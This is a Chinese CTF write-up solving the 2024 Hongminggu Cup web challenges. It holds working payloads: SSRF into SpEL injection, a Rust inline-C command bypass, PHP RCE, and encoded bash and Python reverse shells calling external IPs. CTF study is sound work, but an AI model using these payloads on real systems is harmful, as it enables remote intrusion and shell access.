2024红明谷杯WEB全解
Simp1escape
CurlController 下存在SSRF漏洞,没开保护,但是限制了不能是本地ip,可以302跳转过去
跳转过去之后就可以模板注入,AdminController这里存在模板注入,但是要127.0.0.1,智能允许本地访问
布置一个30x.php
<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D%5D%5D");
exit;
反弹shell中ip改为自己的地址,然后http访问
http://ip:8080/curl?url=http://vps/30x.php
然后就可以得到flag
/readflag
playground
一段rust代码,可以直接POST直接执行代码但是过滤了STD,我们要绕过STD,可以直接内联C绕过,直接询问GPT
#[macro_use] extern crate rocket;
use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![index,run_rust_code])
}
POST /rust_code HTTP/1.1
Host: xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh-CN;q=0.9,zh;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 146
extern "C" {
fn system(s: *const u8) -> i32;
}
fn main() {
unsafe {
system(b"cat /flag ".as_ptr() as *const u8);
}
}
Auth
访问需要登陆,www.zip里面有密码,我们直接登陆
[2022-01-01 12:34:56] Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036
无参RCE,然后我们可以读到/etc/passwd,但是读不了flag,所以我们反弹shell
GET /?cmd=show_source(session_id(session_start())); HTTP/1.0
Host: xxx.com
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
Upgrade-Insecure-Requests: 1
WWW-Authenticate: Basic realm="Restricted Area
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7
Cookie: PHPSESSID=/etc/passwd
Connection: close
我们用readfile读取disable_func发现pcntl_exec没有被ban,所以我们直接反弹shell,flag就在根目录,当前目录下有个config.inc.php,里面有个密码,我们su admin之后读取的文件,不太清楚这个密码有没有用上
GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0
Host: xxx.com
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
Upgrade-Insecure-Requests: 1
WWW-Authenticate: Basic realm="Restricted Area
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7
Cookie: PHPSESSID=
Connection: close
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>
https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle,利用这篇文章的方法读取文件
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8']; $f = new $a(); $f->getflag();
?>
匿名类的利用可以看这里https://hi-arkin.com/archives/php-anonymous-stdClass.html,url编码一下就好
flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0
原文始发于微信公众号(BeFun安全实验室):2024红明谷杯WEB全解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论